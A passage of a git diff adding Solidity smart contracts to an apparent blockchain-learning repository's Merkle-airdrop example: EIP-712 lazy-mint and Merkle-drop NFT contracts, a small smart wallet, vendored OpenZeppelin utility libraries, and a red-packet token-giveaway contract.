+++ b/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721LazyMintWith712.sol
@@ -0,0 +1,45 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/access/AccessControl.sol";
+import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
+import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
+import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
+
+contract ERC721LazyMintWith712 is ERC721, EIP712, AccessControl {
+    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
+
+    constructor(string memory name, string memory symbol)
+    ERC721(name, symbol)
+    EIP712(name, "1.0.0")
+    {
+        _grantRole(DEFAULT_ADMIN_ROLE, _msgSender());
+    }
+
+    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, AccessControl) returns (bool) {
+        return super.supportsInterface(interfaceId);
+    }
+
+    function redeem(address account, uint256 tokenId, bytes calldata signature)
+    external
+    {
+        require(_verify(_hash(account, tokenId), signature), "Invalid signature");
+        _safeMint(account, tokenId);
+    }
+
+    function _hash(address account, uint256 tokenId)
+    internal view returns (bytes32)
+    {
+        return _hashTypedDataV4(keccak256(abi.encode(
+            keccak256("NFT(uint256 tokenId,address account)"),
+            tokenId,
+            account
+        )));
+    }
+
+    function _verify(bytes32 digest, bytes memory signature)
+    internal view returns (bool)
+    {
+        return hasRole(MINTER_ROLE, ECDSA.recover(digest, signature));
+    }
+}
diff --git a/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721LazyMintWith712SignatureChecker.sol b/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721LazyMintWith712SignatureChecker.sol
new file mode 100644
index 000000000..85457456e
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721LazyMintWith712SignatureChecker.sol
@@ -0,0 +1,45 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/access/AccessControl.sol";
+import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
+import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
+import "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol";
+
+contract ERC721LazyMintWith712SignatureChecker is ERC721, EIP712, AccessControl {
+    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
+
+    constructor(string memory name, string memory symbol)
+    ERC721(name, symbol)
+    EIP712(name, "1.0.0")
+    {
+        _grantRole(DEFAULT_ADMIN_ROLE, _msgSender());
+    }
+
+    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, AccessControl) returns (bool) {
+        return super.supportsInterface(interfaceId);
+    }
+
+    function redeem(address account, uint256 tokenId, address signer, bytes calldata signature)
+    external
+    {
+        require(_verify(signer, _hash(account, tokenId), signature), "Invalid signature");
+        _safeMint(account, tokenId);
+    }
+
+    function _hash(address account, uint256 tokenId)
+    internal view returns (bytes32)
+    {
+        return _hashTypedDataV4(keccak256(abi.encode(
+            keccak256("NFT(uint256 tokenId,address account)"),
+            tokenId,
+            account
+        )));
+    }
+
+    function _verify(address signer, bytes32 digest, bytes memory signature)
+    internal view returns (bool)
+    {
+        return hasRole(MINTER_ROLE, signer) && SignatureChecker.isValidSignatureNow(signer, digest, signature);
+    }
+}
diff --git a/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721MerkleDrop.sol b/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721MerkleDrop.sol
new file mode 100644
index 000000000..177cd4348
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/erc721/ERC721MerkleDrop.sol
@@ -0,0 +1,34 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
+import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
+
+contract ERC721MerkleDrop is ERC721 {
+    bytes32 immutable public root;
+
+    constructor(string memory name, string memory symbol, bytes32 merkleroot)
+    ERC721(name, symbol)
+    {
+        root = merkleroot;
+    }
+
+    function redeem(address account, uint256 tokenId, bytes32[] calldata proof)
+    external
+    {
+        require(_verify(_leaf(account, tokenId), proof), "Invalid merkle proof");
+        _safeMint(account, tokenId);
+    }
+
+    function _leaf(address account, uint256 tokenId)
+    internal pure returns (bytes32)
+    {
+        return keccak256(abi.encodePacked(tokenId, account));
+    }
+
+    function _verify(bytes32 leaf, bytes32[] memory proof)
+    internal view returns (bool)
+    {
+        return MerkleProof.verify(proof, root, leaf);
+    }
+}
diff --git a/basic/42-merkle-distributor-airdrop/contracts/erc721/SmartWallet.sol b/basic/42-merkle-distributor-airdrop/contracts/erc721/SmartWallet.sol
new file mode 100644
index 000000000..e2b627c2f
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/erc721/SmartWallet.sol
@@ -0,0 +1,22 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "@openzeppelin/contracts/interfaces/IERC1271.sol";
+import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
+
+contract SmartWallet is Ownable, IERC1271 {
+    constructor(address initialOwner) Ownable(initialOwner) {
+    }
+
+    function execute(address target, uint256 value, bytes memory data) external onlyOwner() returns (bytes memory) {
+        (bool success, bytes memory returndata) = target.call{ value: value }(data);
+        require(success);
+        return returndata;
+    }
+
+    function isValidSignature(bytes32 hash, bytes memory signature) external view override returns (bytes4 magicValue) {
+        require(owner() == ECDSA.recover(hash, signature));
+        return this.isValidSignature.selector;
+    }
+}
diff --git a/basic/42-merkle-distributor-airdrop/contracts/lib/Address.sol b/basic/42-merkle-distributor-airdrop/contracts/lib/Address.sol
new file mode 100644
index 000000000..5912a4a6b
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/lib/Address.sol
@@ -0,0 +1,222 @@
+// SPDX-License-Identifier: MIT
+// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
+
+pragma solidity ^0.8.0;
+
+/**
+ * @dev Collection of functions related to the address type
+ */
+library Address {
+    /**
+     * @dev Returns true if `account` is a contract.
+     *
+     * [IMPORTANT]
+     * ====
+     * It is unsafe to assume that an address for which this function returns
+     * false is an externally-owned account (EOA) and not a contract.
+     *
+     * Among others, `isContract` will return false for the following
+     * types of addresses:
+     *
+     *  - an externally-owned account
+     *  - a contract in construction
+     *  - an address where a contract will be created
+     *  - an address where a contract lived, but was destroyed
+     * ====
+     *
+     * [IMPORTANT]
+     * ====
+     * You shouldn't rely on `isContract` to protect against flash loan attacks!
+     *
+     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
+     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
+     * constructor.
+     * ====
+     */
+    function isContract(address account) internal view returns (bool) {
+        // This method relies on extcodesize/address.code.length, which returns 0
+        // for contracts in construction, since the code is only stored at the end
+        // of the constructor execution.
+
+        return account.code.length > 0;
+    }
+
+    /**
+     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
+     * `recipient`, forwarding all available gas and reverting on errors.
+     *
+     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
+     * of certain opcodes, possibly making contracts go over the 2300 gas limit
+     * imposed by `transfer`, making them unable to receive funds via
+     * `transfer`. {sendValue} removes this limitation.
+     *
+     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
+     *
+     * IMPORTANT: because control is transferred to `recipient`, care must be
+     * taken to not create reentrancy vulnerabilities. Consider using
+     * {ReentrancyGuard} or the
+     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
+     */
+    function sendValue(address payable recipient, uint256 amount) internal {
+        require(address(this).balance >= amount, "Address: insufficient balance");
+
+        (bool success, ) = recipient.call{value: amount}("");
+        require(success, "Address: unable to send value, recipient may have reverted");
+    }
+
+    /**
+     * @dev Performs a Solidity function call using a low level `call`. A
+     * plain `call` is an unsafe replacement for a function call: use this
+     * function instead.
+     *
+     * If `target` reverts with a revert reason, it is bubbled up by this
+     * function (like regular Solidity function calls).
+     *
+     * Returns the raw returned data. To convert to the expected return value,
+     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
+     *
+     * Requirements:
+     *
+     * - `target` must be a contract.
+     * - calling `target` with `data` must not revert.
+     *
+     * _Available since v3.1._
+     */
+    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
+        return functionCall(target, data, "Address: low-level call failed");
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
+     * `errorMessage` as a fallback revert reason when `target` reverts.
+     *
+     * _Available since v3.1._
+     */
+    function functionCall(
+        address target,
+        bytes memory data,
+        string memory errorMessage
+    ) internal returns (bytes memory) {
+        return functionCallWithValue(target, data, 0, errorMessage);
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
+     * but also transferring `value` wei to `target`.
+     *
+     * Requirements:
+     *
+     * - the calling contract must have an ETH balance of at least `value`.
+     * - the called Solidity function must be `payable`.
+     *
+     * _Available since v3.1._
+     */
+    function functionCallWithValue(
+        address target,
+        bytes memory data,
+        uint256 value
+    ) internal returns (bytes memory) {
+        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
+     * with `errorMessage` as a fallback revert reason when `target` reverts.
+     *
+     * _Available since v3.1._
+     */
+    function functionCallWithValue(
+        address target,
+        bytes memory data,
+        uint256 value,
+        string memory errorMessage
+    ) internal returns (bytes memory) {
+        require(address(this).balance >= value, "Address: insufficient balance for call");
+        require(isContract(target), "Address: call to non-contract");
+
+        (bool success, bytes memory returndata) = target.call{value: value}(data);
+        return verifyCallResult(success, returndata, errorMessage);
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
+     * but performing a static call.
+     *
+     * _Available since v3.3._
+     */
+    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
+        return functionStaticCall(target, data, "Address: low-level static call failed");
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
+     * but performing a static call.
+     *
+     * _Available since v3.3._
+     */
+    function functionStaticCall(
+        address target,
+        bytes memory data,
+        string memory errorMessage
+    ) internal view returns (bytes memory) {
+        require(isContract(target), "Address: static call to non-contract");
+
+        (bool success, bytes memory returndata) = target.staticcall(data);
+        return verifyCallResult(success, returndata, errorMessage);
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
+     * but performing a delegate call.
+     *
+     * _Available since v3.4._
+     */
+    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
+        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
+    }
+
+    /**
+     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
+     * but performing a delegate call.
+     *
+     * _Available since v3.4._
+     */
+    function functionDelegateCall(
+        address target,
+        bytes memory data,
+        string memory errorMessage
+    ) internal returns (bytes memory) {
+        require(isContract(target), "Address: delegate call to non-contract");
+
+        (bool success, bytes memory returndata) = target.delegatecall(data);
+        return verifyCallResult(success, returndata, errorMessage);
+    }
+
+    /**
+     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
+     * revert reason using the provided one.
+     *
+     * _Available since v4.3._
+     */
+    function verifyCallResult(
+        bool success,
+        bytes memory returndata,
+        string memory errorMessage
+    ) internal pure returns (bytes memory) {
+        if (success) {
+            return returndata;
+        } else {
+            // Look for revert reason and bubble it up if present
+            if (returndata.length > 0) {
+                // The easiest way to bubble the revert reason is using memory via assembly
+
+                assembly {
+                    let returndata_size := mload(returndata)
+                    revert(add(32, returndata), returndata_size)
+                }
+            } else {
+                revert(errorMessage);
+            }
+        }
+    }
+}
diff --git a/basic/42-merkle-distributor-airdrop/contracts/lib/IERC20.sol b/basic/42-merkle-distributor-airdrop/contracts/lib/IERC20.sol
new file mode 100644
index 000000000..5668a21e8
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/lib/IERC20.sol
@@ -0,0 +1,30 @@
+//SPDX-License-Identifier: UNLICENSED
+
+pragma solidity ^0.8.0;
+
+interface IERC20 {
+    event Approval(address indexed owner, address indexed spender, uint256 value);
+    event Transfer(address indexed from, address indexed to, uint256 value);
+
+    function allowance(address owner, address spender) external view returns (uint256);
+
+    function approve(address spender, uint256 value) external returns (bool);
+
+    function transfer(address to, uint256 value) external returns (bool);
+
+    function transferFrom(
+        address from,
+        address to,
+        uint256 value
+    ) external returns (bool);
+
+    function totalSupply() external view returns (uint256);
+
+    function balanceOf(address owner) external view returns (uint256);
+
+    function name() external pure returns (string memory);
+
+    function symbol() external pure returns (string memory);
+
+    function decimals() external pure returns (uint8);
+}
\ No newline at end of file
diff --git a/basic/42-merkle-distributor-airdrop/contracts/lib/Initializable.sol b/basic/42-merkle-distributor-airdrop/contracts/lib/Initializable.sol
new file mode 100644
index 000000000..644b93dfe
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/lib/Initializable.sol
@@ -0,0 +1,80 @@
+// SPDX-License-Identifier: MIT
+// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
+
+pragma solidity ^0.8.0;
+
+import "./Address.sol";
+
+/**
+ * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
+ * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
+ * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
+ * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
+ *
+ * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
+ * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
+ *
+ * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
+ * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
+ *
+ * [CAUTION]
+ * ====
+ * Avoid leaving a contract uninitialized.
+ *
+ * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
+ * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
+ * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
+ *
+ * [.hljs-theme-light.nopadding]
+ * ```
+ * /// @custom:oz-upgrades-unsafe-allow constructor
+ * constructor() initializer {}
+ * ```
+ * ====
+ */
+abstract contract Initializable {
+    /**
+     * @dev Indicates that the contract has been initialized.
+     */
+    bool private _initialized;
+
+    /**
+     * @dev Indicates that the contract is in the process of being initialized.
+     */
+    bool private _initializing;
+
+    /**
+     * @dev Modifier to protect an initializer function from being invoked twice.
+     */
+    modifier initializer() {
+        // If the contract is initializing we ignore whether _initialized is set in order to support multiple
+        // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
+        // contract may have been reentered.
+        require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
+
+        bool isTopLevelCall = !_initializing;
+        if (isTopLevelCall) {
+            _initializing = true;
+            _initialized = true;
+        }
+
+        _;
+
+        if (isTopLevelCall) {
+            _initializing = false;
+        }
+    }
+
+    /**
+     * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
+     * {initializer} modifier, directly or indirectly.
+     */
+    modifier onlyInitializing() {
+        require(_initializing, "Initializable: contract is not initializing");
+        _;
+    }
+
+    function _isConstructor() private view returns (bool) {
+        return !Address.isContract(address(this));
+    }
+}
diff --git a/Example09-hardhat-react/contracts/utils/SafeERC20.sol b/basic/42-merkle-distributor-airdrop/contracts/lib/SafeERC20.sol
similarity index 78%
rename from Example09-hardhat-react/contracts/utils/SafeERC20.sol
rename to basic/42-merkle-distributor-airdrop/contracts/lib/SafeERC20.sol
index d946b1a0d..76c3741dc 100644
--- a/Example09-hardhat-react/contracts/utils/SafeERC20.sol
+++ b/basic/42-merkle-distributor-airdrop/contracts/lib/SafeERC20.sol
@@ -1,8 +1,9 @@
 // SPDX-License-Identifier: MIT
+// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
 
 pragma solidity ^0.8.0;
 
-import "../IERC20.sol";
+import "./IERC20.sol";
 import "./Address.sol";
 
 /**
@@ -17,11 +18,20 @@ import "./Address.sol";
 library SafeERC20 {
     using Address for address;
 
-    function safeTransfer(IERC20 token, address to, uint256 value) internal {
+    function safeTransfer(
+        IERC20 token,
+        address to,
+        uint256 value
+    ) internal {
         _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
     }
 
-    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
+    function safeTransferFrom(
+        IERC20 token,
+        address from,
+        address to,
+        uint256 value
+    ) internal {
         _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
     }
 
@@ -32,23 +42,35 @@ library SafeERC20 {
      * Whenever possible, use {safeIncreaseAllowance} and
      * {safeDecreaseAllowance} instead.
      */
-    function safeApprove(IERC20 token, address spender, uint256 value) internal {
+    function safeApprove(
+        IERC20 token,
+        address spender,
+        uint256 value
+    ) internal {
         // safeApprove should only be called when setting an initial allowance,
         // or when resetting it to zero. To increase and decrease it, use
         // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
-        // solhint-disable-next-line max-line-length
-        require((value == 0) || (token.allowance(address(this), spender) == 0),
+        require(
+            (value == 0) || (token.allowance(address(this), spender) == 0),
             "SafeERC20: approve from non-zero to non-zero allowance"
         );
         _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
     }
 
-    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
+    function safeIncreaseAllowance(
+        IERC20 token,
+        address spender,
+        uint256 value
+    ) internal {
         uint256 newAllowance = token.allowance(address(this), spender) + value;
         _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
     }
 
-    function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
+    function safeDecreaseAllowance(
+        IERC20 token,
+        address spender,
+        uint256 value
+    ) internal {
         unchecked {
             uint256 oldAllowance = token.allowance(address(this), spender);
             require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
@@ -69,8 +91,8 @@ library SafeERC20 {
         // the target address contains contract code and also asserts for success in the low-level call.
 
         bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
-        if (returndata.length > 0) { // Return data is optional
-            // solhint-disable-next-line max-line-length
+        if (returndata.length > 0) {
+            // Return data is optional
             require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
         }
     }
diff --git a/basic/42-merkle-distributor-airdrop/contracts/redpacket/HappyRedPacket.sol b/basic/42-merkle-distributor-airdrop/contracts/redpacket/HappyRedPacket.sol
new file mode 100644
index 000000000..0fee70c5a
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/redpacket/HappyRedPacket.sol
@@ -0,0 +1,308 @@
+// SPDX-License-Identifier: MIT
+
+/**
+ * @author          Yisi Liu
+ * @contact         yisiliu@gmail.com
+ * @author_time     04/20/2021
+ * @maintainer      Hancheng Zhou, Yisi Liu
+ * @maintain_time   05/21/2021
+**/
+
+pragma solidity >= 0.8.0;
+import "../lib/IERC20.sol";
+import "../lib/SafeERC20.sol";
+import "../lib/Initializable.sol";
+import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
+import "@openzeppelin/contracts/utils/math/Math.sol";
+import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
+
+contract HappyRedPacket is Initializable {
+    struct RedPacket {
+        Packed packed;
+        mapping(address => uint256) claimed_list;
+        bytes32 merkleroot;
+        address creator;
+    }
+
+    struct Packed {
+        uint256 packed1;            // 0 (128) total_tokens (96) expire_time(32)
+        uint256 packed2;            // 0 (64) token_addr (160) claimed_numbers(15) total_numbers(15) token_type(1) ifrandom(1)
+    }
+
+    event CreationSuccess(
+        uint total,
+        bytes32 id,
+        string name,
+        string message,
+        address creator,
+        uint creation_time,
+        address token_address,
+        uint number,
+        bool ifrandom,
+        uint duration
+    );
+
+    event ClaimSuccess(
+        bytes32 id,
+        address claimer,
+        uint claimed_value,
+        address token_address
+    );
+
+    event RefundSuccess(
+        bytes32 id,
+        address token_address,
+        uint remaining_balance
+    );
+
+    using SafeERC20 for IERC20;
+    uint32 nonce;
+    mapping(bytes32 => RedPacket) redpacket_by_id;
+    bytes32 private seed;
+    uint256 constant MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
+
+    function initialize() public initializer {
+        seed = keccak256(abi.encodePacked("Dapp Learning Redpacket", block.timestamp, msg.sender));
+    }
+
+    // Inits a red packet instance
+    // _token_type: 0 - ETH  1 - ERC20
+    function create_red_packet (bytes32 _merkleroot, uint _number, bool _ifrandom, uint _duration, 
+                                bytes32 _seed, string memory _message, string memory _name,
+                                uint _token_type, address _token_addr, uint _total_tokens) 
+    public payable {
+        nonce ++;
+        require(_total_tokens >= _number, "#tokens > #packets");
+        require(_number > 0, "At least 1 recipient");
+        require(_number < 256, "At most 255 recipients");
+        require(_token_type == 0 || _token_type == 1, "Unrecognizable token type");
+
+        // require minimum 0.1 for each user
+        require(_total_tokens > 10**(IERC20(_token_addr).decimals() - 1) * _number , "At least 0.1 for each user");
+        
+        uint256 received_amount = _total_tokens;
+        if (_token_type == 0)
+            require(msg.value >= _total_tokens, "No enough ETH");
+        else if (_token_type == 1) {
+            // https://github.com/DimensionDev/Maskbook/issues/4168
+            // `received_amount` is not necessarily equal to `_total_tokens`
+            uint256 balance_before_transfer = IERC20(_token_addr).balanceOf(address(this));
+            IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens);
+            uint256 balance_after_transfer = IERC20(_token_addr).balanceOf(address(this));
+            received_amount = balance_after_transfer - balance_before_transfer;
+            require(received_amount >= _total_tokens, "#received > #packets");
+
+        }
+
+        bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed, _seed));
+        {
+            uint _random_type = _ifrandom ? 1 : 0;
+            RedPacket storage redp = redpacket_by_id[_id];
+            redp.packed.packed1 = wrap1(received_amount, _duration);
+            redp.packed.packed2 = wrap2(_token_addr, _number, _token_type, _random_type);
+            redp.merkleroot = _merkleroot;
+            redp.creator = msg.sender;
+        }
+        {
+            // as a workaround for "CompilerError: Stack too deep, try removing local variables"
+            uint number = _number;
+            bool ifrandom = _ifrandom;
+            uint duration = _duration;
+            emit CreationSuccess(received_amount, _id, _name, _message, msg.sender, block.timestamp, _token_addr, number, ifrandom, duration);
+        }
+    }
+
+    // It takes the signed msg.sender message as verification passcode
+    function claim(bytes32 id, bytes32[] memory proof) 
+    public returns (uint claimed) {
+
+        RedPacket storage rp = redpacket_by_id[id];
+        Packed memory packed = rp.packed;
+        // Unsuccessful
+        require (unbox(packed.packed1, 224, 32) > block.timestamp, "Expired");
+        uint total_number = unbox(packed.packed2, 239, 15);
+        uint claimed_number = unbox(packed.packed2, 224, 15);
+        require (claimed_number < total_number, "Out of stock");
+        
+        bytes32 merkleroot = rp.merkleroot;
+        require(MerkleProof.verify(proof, merkleroot, _leaf(msg.sender)), 'Verification failed');
+
+        uint256 claimed_tokens;
+        uint256 token_type = unbox(packed.packed2, 254, 1);
+        uint256 ifrandom = unbox(packed.packed2, 255, 1);
+        uint256 remaining_tokens = unbox(packed.packed1, 128, 96);
+        // get token decimal
+        address token_address = address(uint160(unbox(packed.packed2, 64, 160)));
+        uint minium_value = 10**(IERC20(token_address).decimals() - 1);
+
+        if (ifrandom == 1) {
+            if (total_number - claimed_number == 1)
+                claimed_tokens = remaining_tokens;
+            else{
+                // reserve minimum amount => (total_number - claimed_number) * 0.1
+                uint reserve_amount = (total_number - claimed_number) * minium_value;
+                uint distribute_tokens = remaining_tokens - reserve_amount;
+                claimed_tokens = random(seed, nonce) % (distribute_tokens * 2/ (total_number - claimed_number));
+
+                // minimum claimed_tokens for user is 0.1 ; and round the claimed_tokens to decimal 0.1
+                claimed_tokens = claimed_tokens < minium_value ? minium_value : (claimed_tokens - (claimed_tokens % minium_value));
+            }
+        } else {
+            if (total_number - claimed_number == 1) 
+                claimed_tokens = remaining_tokens;
+            else
+                claimed_tokens = remaining_tokens/(total_number - claimed_number);
+
+        }
+
+        rp.packed.packed1 = rewriteBox(packed.packed1, 128, 96, remaining_tokens - claimed_tokens);
+
+        // Penalize greedy attackers by placing duplication check at the very last
+        require(rp.claimed_list[msg.sender] == 0, "Already claimed");
+
+        rp.claimed_list[msg.sender] = claimed_tokens;
+        rp.packed.packed2 = rewriteBox(packed.packed2, 224, 15, claimed_number + 1);
+
+        // Transfer the red packet after state changing
+        if (token_type == 0)
+            payable(msg.sender).transfer(claimed_tokens);
+        else if (token_type == 1)
+            transfer_token(token_address, msg.sender, claimed_tokens);
+        // Claim success event
+        emit ClaimSuccess(id, msg.sender, claimed_tokens, token_address);
+        return claimed_tokens;
+    }
+
+    // Returns 1. remaining value 2. total number of red packets 3. claimed number of red packets
+    function check_availability(bytes32 id) external view returns ( address token_address, uint balance, uint total, 
+                                                                    uint claimed, bool expired, uint256 claimed_amount) {
+        RedPacket storage rp = redpacket_by_id[id];
+        Packed memory packed = rp.packed;
+        return (
+            address(uint160(unbox(packed.packed2, 64, 160))), 
+            unbox(packed.packed1, 128, 96), 
+            unbox(packed.packed2, 239, 15), 
+            unbox(packed.packed2, 224, 15), 
+            block.timestamp > unbox(packed.packed1, 224, 32), 
+            rp.claimed_list[msg.sender]
+        );
+    }
+
+    function _leaf(address account) internal pure returns (bytes32){
+        return keccak256(abi.encodePacked(account));
+    }
+
+    function refund(bytes32 id) public {
+        RedPacket storage rp = redpacket_by_id[id];
+        Packed memory packed = rp.packed;
+        address creator = rp.creator;
+        require(creator == msg.sender, "Creator Only");
+        require(unbox(packed.packed1, 224, 32) <= block.timestamp, "Not expired yet");
+        uint256 remaining_tokens = unbox(packed.packed1, 128, 96);
+        require(remaining_tokens != 0, "None left in the red packet");
+
+        uint256 token_type = unbox(packed.packed2, 254, 1);
+        address token_address = address(uint160(unbox(packed.packed2, 64, 160)));
+
+        rp.packed.packed1 = rewriteBox(packed.packed1, 128, 96, 0);
+
+        if (token_type == 0) {
+            payable(msg.sender).transfer(remaining_tokens);
+        }
+        else if (token_type == 1) {
+            transfer_token(token_address, msg.sender, remaining_tokens);
+        }
+
+        emit RefundSuccess(id, token_address, remaining_tokens);
+    }
+
+//------------------------------------------------------------------
+    /**
+     * position      position in a memory block
+     * size          data size
+     * data          data
+     * box() inserts the data in a 256bit word with the given position and returns it
+     * data is checked by validRange() to make sure it is not over size 
+    **/
+
+    function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) {
+        require(validRange(size, data), "Value out of range BOX");
+        assembly {
+            // data << position
+            boxed := shl(position, data)
+        }
+    }
+
+    /**
+     * position      position in a memory block
+     * size          data size
+     * base          base data
+     * unbox() extracts the data out of a 256bit word with the given position and returns it
+     * base is checked by validRange() to make sure it is not over size 
+    **/
+
+    function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) {
+        require(validRange(256, base), "Value out of range UNBOX");
+        assembly {
+            // (((1 << size) - 1) & base >> position)
+            unboxed := and(sub(shl(size, 1), 1), shr(position, base))
+
+        }
+    }
+
+    /**
+     * size          data size
+     * data          data
+     * validRange()  checks if the given data is over the specified data size
+    **/
+
+    function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { 
+        assembly {
+            // 2^size > data or size ==256
+            ifValid := or(eq(size, 256), gt(shl(size, 1), data))
+        }
+    }
+
+    /**
+     * _box          32byte data to be modified
+     * position      position in a memory block
+     * size          data size
+     * data          data to be inserted
+     * rewriteBox() updates a 32byte word with a data at the given position with the specified size
+    **/
+
+    function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) 
+                        internal pure returns (uint256 boxed) {
+        assembly {
+            // mask = ~((1 << size - 1) << position)
+            // _box = (mask & _box) | ()data << position)
+            boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data))
+        }
+    }
+
+    function transfer_token(address token_address, address recipient_address, uint amount) internal{
+        IERC20(token_address).safeTransfer(recipient_address, amount);
+    }
+    
+    // A boring wrapper
+    function random(bytes32 _seed, uint32 nonce_rand) internal view returns (uint rand) {
+        return uint(keccak256(abi.encodePacked(nonce_rand, msg.sender, _seed, block.timestamp))) + 1 ;
+    }
+    
+    function wrap1 (uint _total_tokens, uint _duration) internal view returns (uint256 packed1) {
+        uint256 _packed1 = 0;
+        _packed1 |= box(128, 96, _total_tokens);        // total tokens = 80 bits = ~8 * 10^10 18 decimals
+        _packed1 |= box(224, 32, (block.timestamp + _duration));    // expiration_time = 32 bits (until 2106)
+        return _packed1;
+    }
+
+    function wrap2 (address _token_addr, uint _number, uint _token_type, uint _ifrandom) internal pure returns (uint256 packed2) {
+        uint256 _packed2 = 0;
+        _packed2 |= box(64, 160, uint160(_token_addr));    // token_address = 160 bits
+        _packed2 |= box(224, 15, 0);                   // claimed_number = 14 bits 16384
+        _packed2 |= box(239, 15, _number);               // total_number = 14 bits 16384
+        _packed2 |= box(254, 1, _token_type);             // token_type = 1 bit 2
+        _packed2 |= box(255, 1, _ifrandom);                 // ifrandom = 1 bit 2
+        return _packed2;
+    }
+}
diff --git a/basic/42-merkle-distributor-airdrop/contracts/redpacket/SimpleToken.sol b/basic/42-merkle-distributor-airdrop/contracts/redpacket/SimpleToken.sol
